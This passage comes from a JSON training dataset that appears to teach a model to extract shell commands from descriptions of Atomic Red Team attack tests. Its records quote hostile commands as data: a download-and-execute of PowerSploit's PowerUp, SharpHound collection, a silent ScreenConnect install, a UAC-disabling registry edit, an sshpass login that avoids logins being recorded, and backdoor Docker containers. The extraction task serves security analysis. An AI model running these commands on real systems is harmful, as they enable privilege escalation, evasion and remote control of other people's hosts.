Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ScreenConnect installer will be downloaded and silently installed via the command: $installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\"\nmsiexec /i $installer /qn\n",
    "output": "{\"command_list\": [\"$installer = \\\"C:\\\\Users\\\\$env:username\\\\Downloads\\\\ScreenConnect.msi\\\"\\nInvoke-WebRequest -OutFile $installer \\\"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\\\"\\nmsiexec /i $installer /qn\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For a stealthy connection that bypasses logging in lastlog, wtmp, and btmp, execute this command: sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname",
    "output": "{\"command_list\": [\"sshpass -p 'pwd101!' ssh testuser1@localhost -T hostname\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Remote systems can be identified via stdout output when running the command: arp -a",
    "output": "{\"command_list\": [\"arp -a\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test evaluates detection capabilities for long DNS queries by executing the script with the command: Set-Location \"PathToAtomicsFolder\"\n.\\T1071.004\\src\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}",
    "output": "{\"command_list\": [\"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1071.004\\\\src\\\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Docker's exec command, attackers who have permissions can run malicious code in containers. A common technique involves creating a backdoor container from a legitimate image and executing commands remotely, as shown in this example: docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"",
    "output": "{\"command_list\": [\"docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \\ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\\ndocker exec -i t1609_container bash -c \\\"cat /tmp/output.txt\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic disables UAC prompts for administrators by executing this registry command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of splitting a file into 5MB chunks and checking the resulting files can be done with the command: cd #{folder_path}; split -b 5000000 #{file_name}\nls -l #{folder_path}",
    "output": "{\"command_list\": [\"cd #{folder_path}; split -b 5000000 #{file_name}\\nls -l #{folder_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prepare files for encryption, first create a directory and add a sample file, then use the following command to compress with a password: mkdir .\\tmp\\victim-files\ncd .\\tmp\\victim-files\necho \"This file will be encrypted\" > .\\encrypted_file.txt\n\"#{rar_exe}\" a -hp\"blue\" hello.rar\ndir\n",
    "output": "{\"command_list\": [\"mkdir .\\\\tmp\\\\victim-files\\ncd .\\\\tmp\\\\victim-files\\necho \\\"This file will be encrypted\\\" > .\\\\encrypted_file.txt\\n\\\"#{rar_exe}\\\" a -hp\\\"blue\\\" hello.rar\\ndir\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group 